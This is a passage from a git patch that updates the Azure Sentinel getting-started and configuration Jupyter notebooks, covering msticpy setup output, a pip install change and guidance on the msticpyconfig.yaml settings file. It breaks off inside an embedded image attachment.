From 3a00bac395631d96c5442cb22a2e2b1f35e95dd5 Mon Sep 17 00:00:00 2001 From: Ian Hellen Date: Tue, 16 Mar 2021 13:02:55 -0700 Subject: [PATCH 01/23] Updated Getting started and ConfiguringNotebookEnvironment notebooks for new msticpy settings. Some other updates to clean things up. Minor update to Machine Learning in Notebooks Examples to use public methods Update to nb_check to remove prompt for AzML --- ...uide For Azure Sentinel ML Notebooks.ipynb | 1406 ++++++++++++++++- ConfiguringNotebookEnvironment.ipynb | 1264 +++++++++++++-- Machine Learning in Notebooks Examples.ipynb | 1300 ++++++--------- utils/nb_check.py | 27 +- 4 files changed, 2954 insertions(+), 1043 deletions(-) diff --git a/A Getting Started Guide For Azure Sentinel ML Notebooks.ipynb b/A Getting Started Guide For Azure Sentinel ML Notebooks.ipynb index 808ab67..b1df014 100644 --- a/A Getting Started Guide For Azure Sentinel ML Notebooks.ipynb +++ b/A Getting Started Guide For Azure Sentinel ML Notebooks.ipynb @@ -129,9 +129,106 @@ }, { "cell_type": "code", - "execution_count": null, + "execution_count": 1, "metadata": {}, - "outputs": [], + "outputs": [ + { + "data": { + "text/html": [ + "

Starting Notebook setup...

" + ], + "text/plain": [ + "" + ] + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "data": { + "text/html": [ + "Checking Python kernel version..." + ], + "text/plain": [ + "" + ] + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "data": { + "text/html": [ + "Python kernel version 3.7.9 OK" + ], + "text/plain": [ + "" + ] + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "data": { + "text/html": [ + "Checking msticpy version..." + ], + "text/plain": [ + "" + ] + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "data": { + "text/html": [ + "msticpy version 0.8.5 OK" + ], + "text/plain": [ + "" + ] + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "name": "stdout", + "output_type": "stream", + "text": [ + "Processing imports....\n", + "Checking configuration....\n", + "No errors found.\n", + "\n", + "The following configuration warnings were found: \n", + " -------------------------------------------------\n", + "No AzureCLI section in settings.\n", + "Setting notebook options....\n" + ] + }, + { + "data": { + "text/html": [ + "

Notebook setup complete

" + ], + "text/plain": [ + "" + ] + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "data": { + "text/plain": [ + "True" + ] + }, + "execution_count": 1, + "metadata": {}, + "output_type": "execute_result" + } + ], "source": [ "from pathlib import Path\n", "import os\n", @@ -151,7 +248,7 @@ " try:\n", " check_mp_ver(min_msticpy_ver=REQ_MSTICPY_VER)\n", " except ImportError:\n", - " !pip install --upgrade msticpy\n", + " !pip install --upgrade msticpy[azsentinel]\n", " if \"msticpy\" in sys.modules:\n", " importlib.reload(sys.modules[\"msticpy\"])\n", " else:\n", @@ -162,7 +259,7 @@ "nbinit.init_notebook(\n", " namespace=globals(),\n", " extra_imports=[\"ipwhois, IPWhois\", \"urllib.request, urlretrieve\", \"yaml\"]\n", - ")" + ");" ] }, { @@ -172,20 +269,196 @@ "---\n", "## Configuration\n", "Once we have set up our Jupyter environment with the libraries that we'll use in the notebook, we need to make sure we have some configuration in place. Some of the notebook components need addtional configuration to connect to external services (e.g. API keys to retrieve Threat Intelligence data). This includes configuration for connection to our Azure Sentinel workspace, as well as some threat intelligence providers we will use later.\n", - "The easiest way to handle the configuration for these services is to store them in a msticpyconfig file (`msticpyconfig.yaml`). More details on msticpyconfig can be found here: https://msticpy.readthedocs.io/en/latest/getting_started/msticpyconfig.html\n", + "The easiest way to handle the configuration for these services is to store them in a msticpyconfig file (`msticpyconfig.yaml`). More details on msticpyconfig can be found here:\n", + "- [MSTICPy Package Configuration](https://msticpy.readthedocs.io/en/latest/getting_started/msticpyconfig.html)
\n", + "- [MSTICPy Settings Editor](https://msticpy.readthedocs.io/en/latest/getting_started/SettingsEditor.html)\n", "\n", "### Learn more: \n", - "- In this notebook we will setup the basic config we need to get started. If you need a more complete walk-through we have a separate notebook to help you: https://github.com/Azure/Azure-Sentinel-Notebooks/blob/master/ConfiguringNotebookEnvironment.ipynb\n", - "
\n", - "
" + "- In this notebook we will setup the basic config we need to get started. If you need a more complete walk-through we have a separate notebook to help you: [Configuring Notebook Environment](https://github.com/Azure/Azure-Sentinel-Notebooks/blob/master/ConfiguringNotebookEnvironment.ipynb)\n", + "- And for the ultimate walk-through of how to configure all your `msticpyconfig.yaml` settings see the [MPSettingsEditor notebook](https://github.com/microsoft/msticpy/blob/master/docs/notebooks/MPSettingsEditor.ipynb)\n", + "\n", + "---" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ - "The Azure-Sentinel-Notebooks GitHub repo contains an template msticpyconfig file ready to be populated. If you have run this notebook before you may have a msticpyconfig file already populated, the cell below allows you to checks if this file. If your config file does not contain details under Azure Sentinel > Workspaces, or TIProviders the following cells will populate these for you.
\n", - "If you want to see an example of what a populated msticpyconfig file should look like a samples is included in the repo as msticpyconfig-sample.yaml." + "The Azure-Sentinel-Notebooks GitHub repo contains an template `msticpyconfig.yaml` file ready to be populated. If you have run this notebook before you may have a msticpyconfig file already populated, the cell below allows you to checks if this file. If your config file does not contain details under Azure Sentinel/Workspaces, or TIProviders the following cells will populate these for you.
\n", + "\n", + "If you want to see an example of what a populated msticpyconfig file should look like a samples is included in the repo as msticpyconfig-sample.yaml. Or [this example](https://msticpy.readthedocs.io/en/latest/getting_started/msticpyconfig.html#commented-configuration-file-sample)\n", + "in the MSTICPy documentation." + ] + }, + { + "cell_type": "code", + "execution_count": 1, + "metadata": {}, + "outputs": [ + { + "data": { + "application/vnd.jupyter.widget-view+json": { + "model_id": "476cd129a72d4ab0a2098f5bddf950df", + "version_major": 2, + "version_minor": 0 + }, + "text/plain": [ + "VBox(children=(Textarea(value=\"{'AzureSentinel': {'Workspaces': {'ASIHuntOMSWorkspaceV4': {'TenantId': '72f988…" + ] + }, + "metadata": {}, + "output_type": "display_data" + } + ], + "source": [ + "from msticpy.config import MpConfigFile, MpConfigEdit\n", + "mpconfig = MpConfigFile()\n", + "mpconfig.load_default()\n", + "mpconfig.view_settings()" + ] + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "If you see nothing but a pair of curly braces in the settings view above it means\n", + "that you should set up a **msticpyconfig.yaml**.\n", + "\n", + "### Two options - with and without a `config.json` file" + ] + }, + { + "attachments": { + "1cd346c9-24b8-42a2-94ef-ef1cc55b1f43.png": { + "image/png": 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